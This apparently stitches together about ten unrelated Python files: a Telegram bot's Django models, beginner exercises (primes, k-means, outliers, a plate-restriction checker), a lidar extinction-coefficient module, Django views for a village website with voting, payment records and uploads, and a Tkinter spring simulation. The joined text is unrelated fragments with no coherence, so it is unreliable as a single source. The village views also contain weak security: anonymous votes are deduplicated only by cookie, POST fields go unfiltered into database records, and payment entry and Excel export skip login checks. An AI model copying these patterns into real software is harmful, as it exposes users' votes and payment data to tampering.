from django.db import models

class TgUser(models.Model):
    tg_id = models.IntegerField()
    first_name = models.CharField(max_length=64, blank=True, null=True)
    username = models.CharField(max_length=64, blank=True, null=True)
    admin = models.BooleanField(blank=True)
    tz_info = models.CharField(max_length=5, blank=True, null=True)
    date_joined = models.DateTimeField(auto_now_add=True)

    def __str__(self):
        if self.username:
            return self.username
        else:
            return str(self.id)

class Subscription(models.Model):
    title = models.CharField(max_length=256)
    users = models.ManyToManyField("TgUser", blank=True, related_name="subscriptions", verbose_name="Subscriptions")

    def __str__(self):
        return self.title

class UserEvent(models.Model):
    title = models.CharField(max_length=256, blank=True)
    remind_time = models.TimeField(verbose_name="Remind Time", blank=True)
    times = models.IntegerField(blank=True)
    user = models.ForeignKey("TgUser", on_delete=models.CASCADE, related_name="events", blank=False)

    def __str__(self):
        return self.title

class MailingArcticle(models.Model):
    body = models.CharField(max_length=4096)
    remind_time = models.TimeField(verbose_name="Remind Time", blank=True)
    remind = models.BooleanField(default=True)

    def __str__(self):
        return self.body[:20] + "..."


def is_prime(num):
    i = 2
    while i < num:
        if num % i == 0:
            return False
        i += 1
    return True

def prime_generator():
    i = 2
    while True:
        if is_prime(i):
            yield i
        i += 1

for i in prime_generator():
    if i > 1000:
        break
    print(i)


from numpy import *
def loadData(path):
    datalist=[]
    fr=open(path)
    for line in fr.readlines():
        curline=line.strip().split('\t')
        fitline=list(map(float,curline))
        datalist.append(fitline)
    return datalist

def randCent(dataSet,k):
    n=dataSet.shape[1]
    centids=mat(zeros((k,n)))
    for j in range(n):
        minJ=min(dataSet[:,j])
        rangJ=float(max(dataSet[:,j])-minJ)
        centids[:,j]=minJ+rangJ*random.rand(k,1)
    return centids

def disEclud(vecA,vecB):
    return sqrt(sum(power(vecA-vecB,2)))

def kmeans2(dataSet,k):
    m=dataSet.shape[0]
    dataAssment=mat(zeros((m,2)))
    centids=randCent(dataSet,k)
    loop=True
    while(loop):
        loop=False
        for i in range(m):
            v1=dataSet[i,:]
            min_distance=inf
            centid_index=-1
            for j in range(k):
                c=centids[j,:]
                dis=disEclud(v1,c)
                if(dis<min_distance):
                    min_distance=dis
                    centid_index=j
            if dataAssment[i, 1:2]!=centid_index:
                loop=True
            dataAssment[i,:]=[min_distance,centid_index] #i表示行索引，centid_index表示所属类别

        # #0类
        # rows_index_0=nonzero(dataAssment[:,1:2]==0)[0]
        # data_0=dataSet[rows_index_0,:]
        # new_cent_x_0=sum(data_0[:,:1])/data_0.shape[0]
        # new_cent_y_0 = sum(data_0[:, 1:2]) / data_0.shape[0]
        # #1类
        # rows_index_1=nonzero(dataAssment[:,1:2]==1)[0]
        # data_1=dataSet[rows_index_1,:]
        # new_cent_x_1=sum(data_1[:,:1])/data_0.shape[0]
        # new_cent_y_1 = sum(data_1[:, 1:2]) / data_0.shape[0]

        for i in range(k):#通过dataAssment第二列保存的row_index,分类data.取分组data的列均值作为点坐标
            data=dataSet[nonzero(dataAssment[:,1:2]==i)[0],:]
            centids[i,:]=mean(data,axis=0)

    return dataAssment

datalist=loadData('/Users/zhanglei/机器学习与算法/机器学习实战源代码/machinelearninginaction/Ch10/testSet.txt')
dataSet=mat(datalist)
dataAssment=kmeans2(dataSet,4)
print(dataAssment)


import cv2
import numpy as np

original = cv2.imread("C:/Users/gkami/Documents/GitHub/ImageComparissonDualCam/test_files/1.jpg")
duplicate = cv2.imread("images/duplicate.jpg")

def testShow():
    cv2.imshow("1", original)
    cv2.waitKey(0)


from Code.Scripts.popularity_calculator import calculate_popularity,freq_of_popularity
import xlrd
import matplotlib.pyplot as plt

file_name = 'D:\\Users\\yashk\\Campaign-Assistant\\Data\\Annotated\\graph_month_input.xls'
workbook = xlrd.open_workbook(file_name)
sheet = workbook.sheet_by_index(0)
rows = sheet.nrows
print(rows)
month = {}
for i in range(1,rows):
    month_value = sheet.cell_value(i,1)
    if month_value not in month.keys():
        month[month_value] = [sheet.cell_value(i,0)]
    else:
        month[month_value].append(sheet.cell_value(i,0))
print(month[1])
print(month[2])
print(month[3])
x_axis = [1,2,3]
month1 = freq_of_popularity(month[1])
month2 = freq_of_popularity(month[2])
month3 = freq_of_popularity(month[3])
y_axis = [calculate_popularity(month1['pos'],month1['nut'],month1['neg'],month1['nut']),
          calculate_popularity(month2['pos'],month2['nut'],month2['neg'],month2['nut']),
          calculate_popularity(month3['pos'],month3['nut'],month3['neg'],month3['nut'])
          ]
print(x_axis)
print(y_axis)
plt.plot(x_axis,[item*100 for item in y_axis])
plt.show()


#pico y placa
'''
Realizar  un programa para saber que día tiene pico y placa su vehículo
'''

'''
lunes: 3 - 4
martes: 5 - 6
miercoles: 7 - 8
jueves: 9 - 0
viernes: 1 - 2
'''

pico = input("\nIngrese su placa (Ejm: abc123): ")
numero = ['3','4','5','6','7','8','9','0','1','2']
dias = ["lunes","martes","miercoles","jueves","viernes"]

if len(pico) == 6:
	if pico[5] in numero:
		digito = pico[5]
		vehiculo="carro"
	else:
		digito = pico[4]
		vehiculo="moto"

	print(f"Tu {vehiculo} tiene pico y placa el dia",end=(" "))
	if digito == numero[0] or digito == numero[1]:   #puedo usar ('3' or '4') esto para el viernes
		print(f"{dias[0]}\n")
	elif digito == numero[2] or digito == numero[3]: # ('5' or '6') esto para el lunes
		print(f"{dias[1]}\n")
	elif digito == numero[4] or digito == numero[5]: # ('7' or '8') esto para el martes
		print(f"{dias[2]}\n")
	elif digito == numero[6] or digito == numero[7]: # ('9' or '0') esto para el miercoles
		print(f"{dias[3]}\n")
	elif digito == numero[8] or digito == numero[9]: # ('1' or '2') esto para el jueves
		print(f"{dias[4]}\n")

else:
	print("\nEl dato ingresado es erroneo\n")


# -*- coding: utf-8 -*-
"""Classes for extinction calculation"""
from addict import Dict
from copy import deepcopy
from ELDAmwl.bases.factory import BaseOperation
from ELDAmwl.bases.factory import BaseOperationFactory
from ELDAmwl.component.interface import IExtOp
from ELDAmwl.component.interface import IMonteCarlo
from ELDAmwl.component.registry import registry
from ELDAmwl.extinction.product import Extinctions
from ELDAmwl.extinction.tools.operation import ExtinctionAutosmooth
from ELDAmwl.extinction.tools.operation import SignalSlope
from ELDAmwl.extinction.tools.operation import SlopeToExtinction
from ELDAmwl.utils.constants import ABOVE_MAX_ALT
from ELDAmwl.utils.constants import BELOW_OVL
from ELDAmwl.utils.constants import MC

import numpy as np
import zope

class CalcExtinction(BaseOperationFactory):
    """
    creates a class for the calculation of an extinction coefficient

    Returns an instance of BaseOperation which calculates the particle
    extinction coefficient from a  Raman signal. In this case, it
    will be always an instance of CalcExtinctionDefault().

    Keyword Args:
        ext_params (:class:`ELDAmwl.extinction.params.ExtinctionParams`): \
                retrieval parameter of the extinction product
        slope_routine (:class:`ELDAmwl.bases.factory.BaseOperation`):
            result of :class:`ELDAmwl.extinction.tools.operation.SignalSlope`
        slope_to_ext_routine (:class:`ELDAmwl.bases.factory.BaseOperation`):
            result of :class:`ELDAmwl.extinction.tools.operation.SlopeToExtinction`
        raman_signal (:class:`ELDAmwl.signals.Signals`): Raman signal
        empty_ext (:class:`ELDAmwl.extinction.product.Extinctions`): \
                instance of Extinctions which has all meta data but profile data are empty arrays

    Returns:
        instance of :class:`ELDAmwl.bases.factory.BaseOperation`

    """

    name = 'CalcExtinction'

    def __call__(self, **kwargs):
        assert 'ext_params' in kwargs
        assert 'slope_routine' in kwargs
        assert 'slope_to_ext_routine' in kwargs
        assert 'raman_signal' in kwargs
        assert 'empty_ext' in kwargs

        res = super(CalcExtinction, self).__call__(**kwargs)
        return res

    def get_classname_from_db(self):
        """

        return: always 'CalcExtinctionDefault' .
        """
        return 'CalcExtinctionDefault'

@zope.interface.implementer(IExtOp)
class CalcExtinctionDefault(BaseOperation):
    """
    Calculates particle extinction coefficient from Raman signal.

    The result is a copy of empty_ext, but its dataset (data, err, qf) is filled with the calculated values

    Keyword Args:
        ext_params (:class:`ELDAmwl.extinction.params.ExtinctionParams`): \
                retrieval parameter of the extinction product
        slope_routine (:class:`ELDAmwl.bases.factory.BaseOperation`):
            result of :class:`ELDAmwl.extinction.tools.operation.SignalSlope`
        slope_to_ext_routine (:class:`ELDAmwl.bases.factory.BaseOperation`):
            result of :class:`ELDAmwl.extinction.tools.operation.SlopeToExtinction`
        raman_signal (:class:`ELDAmwl.signals.Signals`): Raman signal
        empty_ext (:class:`ELDAmwl.extinction.product.Extinctions`): \
                instance of Extinctions which has all meta data but profile data are empty arrays

    Returns:
        profiles of particle extinction coefficients(:class:`ELDAmwl.extinction.product.Extinctions`)
    """

    name = 'CalcExtinctionDefault'

    ext_params = None
    signal = None
    slope_routine = None
    slope_to_ext_routine = None
    result = None
    x_data = None
    y_data = None
    yerr_data = None
    qf_data = None

    def __init__(self, **kwargs):
        super(CalcExtinctionDefault, self).__init__(**kwargs)
        self.signal = self.kwargs['raman_signal']
        self.ext_params = self.kwargs['ext_params']
        self.slope_routine = self.kwargs['slope_routine']
        self.slope_to_ext_routine = self.kwargs['slope_to_ext_routine']
        self.result = deepcopy(self.kwargs['empty_ext'])

    def calc_slope(self, t, lev, window, half_win):
        fb = lev - half_win
        lb = lev + half_win
        window_data = Dict({'x_data': self.x_data[t, fb:lb + 1],
                            'y_data': self.y_data[t, fb:lb + 1],
                            'yerr_data': self.yerr_data[t, fb:lb + 1],
                            })

        sig_slope = self.slope_routine.run(signal=window_data)
        qf = np.bitwise_or.reduce(self.qf_data[t, fb:lb + 1])

        self.result.ds['data'][t, lev] = sig_slope.slope
        self.result.ds['err'][t, lev] = sig_slope.slope_err
        self.result.ds['qf'][t, lev] = qf
        self.result.ds['binres'][t, lev] = window

    def prepare_data(self, data):
        self.x_data = np.array(data.range)
        self.y_data = np.array(data.ds.data)
        self.yerr_data = np.array(data.ds.err)
        self.qf_data = np.array(data.ds.qf)

    def calc_single_profile(self, t, data):
        fvb = data.first_valid_bin(t)
        lvb = data.last_valid_bin(t)
        for lev in range(fvb, lvb):
            window = int(data.ds.binres[t, lev])
            half_win = window // 2

            if lev < (fvb + half_win):
                self.result.set_invalid_point(t, lev, BELOW_OVL)

            elif lev >= (lvb - half_win):
                self.result.set_invalid_point(t, lev, ABOVE_MAX_ALT)

            else:
                self.calc_slope(t, lev, window, half_win)

    def run(self, data=None):
        """
        run the extinction calculation

        The the optional keyword arg 'data' allows to feed new raman signals into
        an existing instance of CalcExtinctionDefault and run a new calculation.
        This feature is used e.g., for Monte-Carlo error retrievals

        Keyword Args:
            data (:class:`ELDAmwl.signals.Signals`): Raman signal, default=None

        Returns:
            profiles of particle extinction coefficients(:class:`ELDAmwl.extinction.product.Extinctions`)

        """
        if data is None:
            data = self.signal

        self.prepare_data(data)

        for t in range(data.num_times):
            self.calc_single_profile(t, data)

        # extract relevant parameter for calculation of ext from signal slope
        # from ExtinctionParams into Dict
        param_dct = Dict({
            'detection_wavelength': data.detection_wavelength,
            'emission_wavelength': data.emission_wavelength,
            'angstroem_exponent': self.ext_params.ang_exp_asDataArray,
        })

        # SlopeToExtinction converts the slope into extinction coefficients
        self.slope_to_ext_routine(
            slope=self.result.ds,
            ext_params=param_dct).run()

        return self.result

class ExtinctionFactory(BaseOperationFactory):
    """
    optional argument resolution, can be LOWRES(=0) or HIGHRES(=1)
    """

    name = 'ExtinctionFactory'

    def __call__(self, **kwargs):
        assert 'data_storage' in kwargs
        assert 'ext_param' in kwargs
        assert 'autosmooth' in kwargs
        res = super(ExtinctionFactory, self).__call__(**kwargs)
        return res

    def get_classname_from_db(self):
        """

        return: always 'ExtinctionFactoryDefault' .
        """
        return ExtinctionFactoryDefault.__name__

class ExtinctionFactoryDefault(BaseOperation):
    """
    derives particle extinction coefficient.
    """

    name = 'ExtinctionFactoryDefault'
    param = None
    raman_sig = None
    smooth_res = None
    empty_ext = None
    prod_id = None
    resolution = None

    def get_smooth_res(self):
        if self.kwargs['autosmooth']:
            result = ExtinctionAutosmooth()(
                signal=self.raman_sig.ds,
                smooth_params=self.param.smooth_params,
            ).run()

        else:
            result = self.data_storage.binres_common_smooth(self.prod_id, self.resolution)

        self.smooth_res = result

    def prepare(self):
        self.param = self.kwargs['ext_param']
        self.prod_id = self.param.prod_id_str
        self.resolution = self.kwargs['resolution']

        # raman_sig is a deepcopy from data_storage
        self.raman_sig = self.data_storage.prepared_signal(
            self.param.prod_id_str,
            self.param.raman_sig_id_str)

        self.get_smooth_res()

        self.raman_sig.ds['binres'] = self.smooth_res

        self.empty_ext = Extinctions.init(self.raman_sig, self.param)

    def get_non_merge_product(self):

        calc_routine = CalcExtinction()(
            ext_params=self.param,
            slope_routine=SignalSlope()(prod_id=self.prod_id),
            slope_to_ext_routine=SlopeToExtinction(),
            raman_signal=self.raman_sig,
            empty_ext=self.empty_ext,
        )
        ext = calc_routine.run()

        if self.param.error_method == MC:
            adapter = zope.component.getAdapter(calc_routine, IMonteCarlo)
            ext.err[:] = adapter(self.param.mc_params)
        else:
            ext = ext

        del self.raman_sig
        return ext

    def get_product(self):
        self.prepare()

        if not self.param.includes_product_merging():
            ext = self.get_non_merge_product()
        else:
            # todo: result = Extinctions.from_merged_signals()
            ext = None
            pass

        return ext

registry.register_class(ExtinctionFactory,
                        ExtinctionFactoryDefault.__name__,
                        ExtinctionFactoryDefault)

registry.register_class(CalcExtinction,
                        CalcExtinctionDefault.__name__,
                        CalcExtinctionDefault)


from django.views.decorators.csrf import ensure_csrf_cookie
import time
from urllib import request
from django.http import JsonResponse
from django.shortcuts import render
from django.views.generic import ListView, CreateView, TemplateView, View
from django.utils.translation import gettext_lazy  as _
from .models import *
from TolgobolVillage.utils import *
import json
from .utils import TmpFileStorage
from datetime import datetime
from django.utils import timezone
from Forum.models import *
import logging
from django.urls.base import reverse_lazy
from .logger import *
import pandas as pd
from django.views.static import serve

class HomePage( DataMixin, TemplateView ):
    #form = ProductForm
    template_name = 'MainService/index.html'
    #model = Product
    title = _("Поселок Толгоболь")

    @logger
    def get_context_data( self, *, object_list=None, **kwargs ):

        c_super = super().get_context_data(**kwargs)
        c_def = self.get_user_context()
        c_def[ 'title' ] = self.title
        c_def[ 'news' ] = self.get_news_context()
        c_def.update( c_super )
        return c_def

    def get_news_context( self ):
        result = []
        news = Section.objects.filter(is_news=True)
        if news.count():
            for i in news[0].post_set.filter(is_delet=False):
                item = {}
                item['title'] = i.title
                item['preview_text'] = i.text
                item['date'] = i.date
                item['id'] = i.id
                item['url'] = reverse_lazy( 'post', kwargs={'section_id':str(news[0].id), 'post_id':str(i.id) }  )
                result.append( item )
        return result

class ImportantPage( DataMixin, TemplateView ):
    #form = ProductForm
    template_name = 'MainService/important.html'
    model = AnyContact
    title = _("Поселок Толгоболь / Важное / Контакты")

    @logger
    def get_context_data( self, *, object_list=None, **kwargs ):
        c_super = super().get_context_data(**kwargs)
        c_def = self.get_user_context()
        c_def['chifs'] = self.get_contact( is_chief=True )
        c_def['anys'] = self.get_contact( is_chief=False )
        c_def[ 'title' ] = self.title
        c_def[ 'votings' ] = self.get_votings_context()
        c_def.update( c_super )
        return c_def

    def get_contact( self, is_chief ):
        contacts = AnyContact.objects.filter( is_chief=is_chief )
        res = []
        for i in contacts:
            item = {}
            item['title'] = i.title
            if i.comment != '':
                item['comment'] = i.comment
            items = []
            for it in i.contactfield_set.all():
                items.append( {'key':it.key, 'value': it.value} )
            item['items'] = items
            res.append( item )
        return res
    def get_votings_context( self ):
        result = []
        votings = Voting.objects.all()
        for voting in votings:
            item = {}
            if voting.is_non_auth:
                if self.request.user.is_authenticated:
                    if voting.votingitemusernonauth_set.all().filter(csrf=str(self.request.user.id)).count():
                        item['is_disabled'] = 'disabled'
                else:
                    csrf = self.request.COOKIES.get( 'csrftoken', None )
                    if voting.votingitemusernonauth_set.all().filter(csrf=csrf).count():
                        item['is_disabled'] = 'disabled'
                if voting.is_finish:
                    item['is_disabled'] = 'disabled'
                if voting.finish_data is not None:
                    if voting.finish_data < timezone.now().date():
                        item['is_disabled'] = 'disabled'
                item['id'] = voting.id
                item['is_non_auth'] = voting.is_non_auth
                item['title'] = voting.title
                item['comment'] = voting.comment
                item['finish_data'] = voting.finish_data if voting.finish_data else 'Без срока'
                total_count = voting.votingitemusernonauth_set.count()
                persent = total_count / 100
                item['voting_items'] = [ dict( [( 'name', i.name ),
                                                ( 'id', i.id ),
                                                ( 'voting_persent', int(i.votingitemusernonauth_set.count() / persent) if persent > 0 else 0 ),
                                                ( 'voting_piople', i.votingitemusernonauth_set.count() ) ]
                                            ) for i in voting.votingitem_set.all() ]
            else:
                if self.request.user.is_authenticated:
                    if voting.votingitemuser_set.all().filter(user_id=self.request.user.id).count():
                        item['is_disabled'] = 'disabled'
                if voting.is_finish:
                    item['is_disabled'] = 'disabled'
                if voting.finish_data is not None:
                    if voting.finish_data < timezone.now().date():
                        item['is_disabled'] = 'disabled'
                item['id'] = voting.id
                item['is_non_auth'] = voting.is_non_auth
                item['title'] = voting.title
                item['comment'] = voting.comment
                item['finish_data'] = voting.finish_data if voting.finish_data else 'Без срока'
                total_count = voting.votingitemuser_set.count()
                persent = total_count / 100
                item['voting_items'] = [ dict( [( 'name', i.name ),
                                                ( 'id', i.id ),
                                                ( 'voting_persent', int(i.votingitemuser_set.count() / persent) if persent > 0 else 0 ),
                                                ( 'voting_piople', i.votingitemuser_set.count() ) ]
                                            ) for i in voting.votingitem_set.all() ]
            item['total_count'] = total_count
            result.append( item )
        return result

class CollectionPage( DataMixin, TemplateView ):
    #form = ProductForm
    template_name = 'MainService/collection.html'
    #model = Product
    title = _("Поселок Толгоболь / Важное / Голосования")

    @logger
    def get_context_data( self, *, object_list=None, **kwargs ):
        c_super = super().get_context_data(**kwargs)
        c_def = self.get_user_context()
        c_def[ 'title' ] = self.title
        c_def[ 'collects' ] = self.get_collect_context()
        c_def[ 'changes' ] = self.get_change_context()
        c_def.update( c_super )
        return c_def

    def get_collect_context( self ):
        result = []
        collects = CollectMoney.objects.all()
        self.request.user.is_authenticated
        for collect in collects:
            item = {}
            item['id'] = collect.id
            item['on_months'] = 1 if collect.on_months else 0
            item['title'] = collect.title
            item['comment'] = collect.comment
            item['finish_data'] = collect.finish_data if collect.finish_data is not None else ''
            if self.request.user.is_authenticated:
                item['total_sum'] = collect.get_total_sum()
                item['need_total_summ'] = collect.need_total_summ if collect.need_total_summ else 'Не ограниченно'
                item['available'] = item['total_sum'] - collect.get_sum_charge()
            else:
                item['total_sum'] = 'Авторизуйтесь'
                item['need_total_summ'] = 'Авторизуйтесь'
                item['available'] = 'Авторизуйтесь'

            item['need_summ_on_user'] = collect.need_summ_on_user
            item['files'] = collect.get_files()

            if collect.on_months:
                if self.request.user.is_authenticated:
                    item['filter_from_strit'] = collect.filter_from_strit()
            result.append( item )
        return result

    def get_change_context( self ):
        result = []
        charges = FinanceCharge.objects.all()
        for charge in charges:
            item = {}
            item['title'] = charge.title
            item['comment'] = charge.comment
            item['data'] = charge.data if charge.data is not None else ''
            if self.request.user.is_authenticated:
                item['sum'] = charge.charge
            else:
                item['sum'] = 'Авторизуйтесь'
            item['collect_money'] = charge.collect.title
            item['files'] = charge.get_files()
            result.append( item )
        return result

class Mainservice( View ):

    mainservice_method_alias = {
        'MainService.Voting': 'voting',
        'MainService.FeedbackAdres': 'feedback_adres',
        'MainService.InsertCollectOnMonths': 'insert_collect_on_months',
        'MainService.GetExcelCollect': 'get_excel_collect',
    }

    def dispatch(self, request, *args, **kwargs):
        service_method = request.headers.get( 'X-Requested-MethodName', None )
        handler_name = self.mainservice_method_alias.get( service_method, None )
        INFO( service_method, request.POST )
        if handler_name:
            handler = getattr(
                self, handler_name, self.http_method_not_allowed
            )
        else:
            handler = self.http_method_not_allowed
        return handler(request, *args, **kwargs)

    @logger
    def voting( self, reqest, *args, **kwargs ):
        respons = {}
        voting_id = reqest.POST['voting_id']
        voting = Voting.objects.get(id=voting_id)
        if voting.is_non_auth:
            return self.voting_non_auth( reqest, voting )

        voting_item_id = reqest.POST['voting_item_id']
        comment = reqest.POST['comment']
        if reqest.user.is_authenticated:
            user_id = reqest.user.id
            if not voting.votingitemuser_set.all().filter(user_id=user_id).count():
                VotingItemUser.objects.create( user_id=user_id, voting_id=voting_id, votingitem_id=voting_item_id, comment=comment, data=timezone.now() )
                respons['success'] = 'Ваш голос учтен'
            else:
                respons['error'] = 'Вы уже проголосовали'
            return JsonResponse( respons )
        else:
            respons['error'] = 'Авторизуйтесь'
            return JsonResponse( respons )

    def voting_non_auth( self, reqest, voting ):
        respons = {}
        voting_id = reqest.POST['voting_id']
        voting_item_id = reqest.POST['voting_item_id']
        comment = reqest.POST['comment']
        csrf = reqest.COOKIES.get( 'csrftoken', None )
        if not voting.votingitemusernonauth_set.all().filter(csrf=csrf).count():
            if reqest.user.is_authenticated:
                VotingItemUserNonAuth.objects.create( csrf=str( reqest.user.id ), voting_id=voting_id, votingitem_id=voting_item_id, comment=comment, data=timezone.now() )
            else:
                VotingItemUserNonAuth.objects.create( csrf=csrf, voting_id=voting_id, votingitem_id=voting_item_id, comment=comment, data=timezone.now() )
            respons['success'] = 'Ваш голос учтен'
        else:
            respons['error'] = 'Вы уже проголосовали'
        return JsonResponse( respons )

    @logger
    def feedback_adres( self, respons ):
        param = {}
        for i in respons.POST:
            param[i] = respons.POST.get( i )
        FeedbackAdres.objects.create(**param)
        return JsonResponse({})

    @logger
    def insert_collect_on_months( self, respons ):
        collect_id = respons.POST.get( 'collect_id', None)
        adres_id = respons.POST.get( 'adres_id', None)
        insert_list = respons.POST.get( 'insert_list', None)
        log = {'collect_id':collect_id,'adres_id': adres_id, 'insert_list':insert_list  }
        INFO( '[insert_collect_on_months] ', log )
        if insert_list:
            insert_list = json.loads( insert_list )

        if not adres_id:
            return JsonResponse( {'error': 'Не указан адрес, обратитесь к администратору'}, status=500 )
        if not adres_id.isdigit():
            return JsonResponse( {'error': 'адрес не является числом, обратитесь к администратору'}, status=500 )
        else:
            adres_id = int(adres_id)

        if not collect_id:
            return JsonResponse( {'error': 'Не указан collect_id, обратитесь к администратору'}, status=500 )
        if not collect_id.isdigit():
            return JsonResponse( {'error': 'collect_id не является числом, обратитесь к администратору'}, status=500 )
        else:
            collect_id = int(collect_id)
        try:
            adres = Adres.objects.get( id=int(adres_id) )
            for i in insert_list:
                months = i['months']
                summ = i['summ']
                year = i['year']
                if not months.isdigit():
                    return JsonResponse( {'error': 'months не является числом, обратитесь к администратору'}, status=500 )
                if not summ.isdigit():
                    return JsonResponse( {'error': 'summ не является числом, обратитесь к администратору'}, status=500 )
                if not year.isdigit():
                    return JsonResponse( {'error': 'year не является числом, обратитесь к администратору'}, status=500 )
                date_insert = datetime(int(year), int(months), 1)
                el = CollectMoneyMonth.objects.create(collect_id=collect_id, adres=adres, strit=adres.strit, month=date_insert, maney=summ)
                if not el:
                    return JsonResponse( {'error': 'Данные не внесены, обратитесь к администратору'}, status=500 )
        except Exception as e:
            EXCEPT( e )
            return JsonResponse( {'error': ['Не верные параметры, переданы параметры', respons.POST]}, status=500 )
        return JsonResponse({})

    def get_excel_collect( self, reqest ):
        collect_id = reqest.POST.get( 'collect_id', None)
        if not collect_id:
            return JsonResponse( {'error': 'Не указан collect_id'}, status=500 )
        collect = CollectMoney.objects.get( id=int(collect_id) )
        if collect.on_months:
            data = {}
            collect_money = collect.collectmoneymonth_set.all()
            adres_set = collect_money.values('adres')
            adres_set = set( [ i['adres'] for i in adres_set ] )
            moynth_set = collect_money.values('month')
            moynth_set = list( set( [ i['month'] for i in moynth_set ] ) )
            adres_column = {}
            for i in adres_set:
                adr = Adres.objects.get(id=i)
                adres_column[( str(adr) )] = adr
            data['Адрес'] = adres_column.keys()
            moynth_set.sort()
            for month in moynth_set:
                month_column = []
                for ad in adres_column.values():
                    sum = collect_money.filter(month=month, adres_id=ad.id )
                    if sum:
                        month_column.append(sum[0].maney)
                    else:
                        month_column.append(0)
                data[month] = month_column
            df = pd.DataFrame( data )
            file_path = os.path.join( TmpFileStorage.get_tmp_folder(reqest.user.id), f'{collect.title}.xlsx')
            writer = pd.ExcelWriter( file_path )
            df.to_excel(writer)
            writer.save()
            path = TmpFileStorage.save_file( file_path )
            return JsonResponse( {'url': reverse_lazy('media', kwargs={ 'path':path })}, status=200 )

class UploadServise( View ):

    mainservice_method_alias = {
        #'UploadingFiles.Upload': 'upload',
        'UploadingFiles.StartUpload': 'start_upload',
        'UploadingFiles.Upload': 'upload',
        'UploadingFiles.FinishUpload': 'finish_upload',
        'UploadingFiles.CancelUpload': 'cancel_upload',
    }

    def dispatch(self, request, *args, **kwargs):
        service_method = request.headers.get( 'X-Requested-MethodName', None )
        handler_name = self.mainservice_method_alias.get( service_method, None )
        if handler_name:
            handler = getattr(
                self, handler_name, self.http_method_not_allowed
            )
        else:
            handler = self.http_method_not_allowed
        return handler(request, *args, **kwargs)

    @logger
    def start_upload( self, request ):
        if not request.user.is_authenticated:
            return JsonResponse({'error':'Авторизуйтесь'}, status=500)
        error = []
        file_name = request.POST.get( 'file_name', None )
        size = request.POST.get( 'size', None )
        if not file_name or not size:
            error.append( 'Не верные параметры запроса' + str(request.POST) )
            error.append( request.POST )
        if error:
            return JsonResponse({'error':'Не верные параметры запроса' + str(request.POST)}, status=500)

        tmp_name = TmpFileStorage().start_upload( file_name, size, request.user )
        if not tmp_name:
            return JsonResponse({'error':'Ошибка при сохранении файла'}, status=500)
        return JsonResponse({'success':tmp_name})

    @logger
    def upload( self, request ):
        strim = request.FILES.get( 'file', None )
        tmp_name= request.POST.get( 'tmp_name', None )
        error = []
        if not strim or not tmp_name:
            error.append( 'Не верные параметры запроса' )
            error.append( request.POST )
            return JsonResponse({'error':error}, status=500)
        try:
            TmpFileStorage().upload( tmp_name, strim.read() )
            return JsonResponse({'success':tmp_name})
        except:
            return JsonResponse({'error':'Ошибка при частичном сохранении файла'}, status=500)

    @logger
    def finish_upload( self, request ):
        tmp_name= request.POST.get( 'tmp_name', None )
        error = []
        if  not tmp_name:
            error.append( 'Не верные параметры запроса' )
            error.append( request.POST )
            return JsonResponse({'error':error}, status=500)
        try:
            id = TmpFileStorage().finish_upload( tmp_name )
            return JsonResponse({'success':id})
        except:
            return JsonResponse({'error':'Ошибка при частичном сохранении файла'}, status=500)

    @logger
    def cancel_upload( self, request ):
        tmp_name= request.POST.get( 'tmp_name', None )
        error = []
        if  not tmp_name:
            error.append( 'Не верные параметры запроса' )
            error.append( request.POST )
            return JsonResponse({'error':error}, status=500)
        TmpFileStorage().cancel_upload( tmp_name )
        return JsonResponse({'success':"OK"})


# 실습
# outlier1 을 행렬형태로 적용할 수 있도록 수정

import numpy as np

aaa = np.array([[1,2,3,4,10000,6,7,5000,90,100],
              [10,20,3,40,50,60,70,8,90,100]])

aaa = aaa.transpose()
print(aaa.shape)    # (10, 2)

def outliers(data_out):
    data = data_out.transpose()
    outlier = []
    for i in range(data.shape[0]):
        print(str(i) + '열')
        quartile_1, q2, quartile_3 = np.percentile(data[i], [25, 50, 75])
        print('1사분위 :', quartile_1)
        print('q2 :', q2)
        print('3사분위 :', quartile_3)
        iqr = quartile_3 - quartile_1
        lower_bound = quartile_1 - (iqr * 1.5)
        upper_bound = quartile_3 + (iqr * 1.5)
        print('Boxplot 범위 :', lower_bound ,' ~ ', upper_bound)

        outlier.append(np.where((data[i] > upper_bound) | (data[i] < lower_bound)))
        print()
    return np.array(outlier)

outlier_loc = outliers(aaa)
print('이상치의 위치 :', outlier_loc)

import matplotlib.pyplot as plt

plt.boxplot(aaa)
plt.show()


import physicsSim
import physicsObject
import forces
from tkinter import *
import time
import math

ti = 0.0
tf = 10.0
dt = 0.02
k=20
objects = []
simforces = []
images = []
sim = physicsSim.PhysicsSim(ti,tf,dt)
object_image_mapping = {}

def init_objects():
    ball1 = physicsObject.PhysicsObject()
    ball1.set_velocity(0,0)
    ball1.set_position(10,0)
    ball1.set_accel(0,0)
    ball1.set_mass(10)
    objects.append(ball1)

def init_forces():
    for b in objects:
        spr = forces.SpringForce(k,(0,0))
        spr.add_object(b)
        b.add_force(spr)
        simforces.append(spr)
        spr.update_force()

def init_images(objects,images):
    if len(objects) != len(images):
        raise ValueError("Unequal images for objects")
    for i in range(len(objects)):
        object_image_mapping[objects[i]] = images[i]

def init_sim():
    for b in objects:
        sim.add_object(b)

def main():
	gui = Tk()
	gui.geometry("800x600")
	gui.title("Projectile Simulation Animation")
	canvas = Canvas(gui, width=800,height=600,bg='white')
	canvas.pack()

	ball1_image = canvas.create_oval(380,530,420,570, fill='red')
	line = canvas.create_line(0,0,1,1,fill="black", dash=(4, 4))
	images.append(ball1_image)

	init_objects()
	init_forces()
	init_images(objects,images)
	init_sim()

	prevCoords = {}
	for b in objects:
	    positionX = b.get_position()[0]
	    positionY = b.get_position()[1]
	    coords = [0,0]
	    coords[0] = positionX
	    coords[1] = positionY
	    prevCoords[b] = coords

	print("Beginning Simulation")

	for b in objects:
		delta_pos_x = prevCoords[b][0]
		delta_pos_y = -prevCoords[b][1]
		image = object_image_mapping[b]
		canvas.move(image,delta_pos_x*10, delta_pos_y*10)

	while sim.simulate():
	    for b in objects:
	        newPosx = sim.get_object_data(b)[0][0]
	        newPosy = sim.get_object_data(b)[0][1]

	        delta_pos_x = newPosx - prevCoords[b][0]
	        delta_pos_y = prevCoords[b][1] - newPosy

	        image = object_image_mapping[b]
	        if newPosy >= 0:
	            canvas.move(image,delta_pos_x*10, delta_pos_y*10)
	            x = canvas.coords(image)
	            ballCenterX = (x[0]+x[2]) / 2
	            ballCenterY = (x[1] + x[3]) / 2
	            canvas.coords(line,400,550,ballCenterX,ballCenterY)
	        prevCoords[b][0] = newPosx
	        prevCoords[b][1] = newPosy
	        for f in b.get_forces():
	        	f.update_force()
	    gui.update()
	    time.sleep(0.05)
	print("Sim Complete")

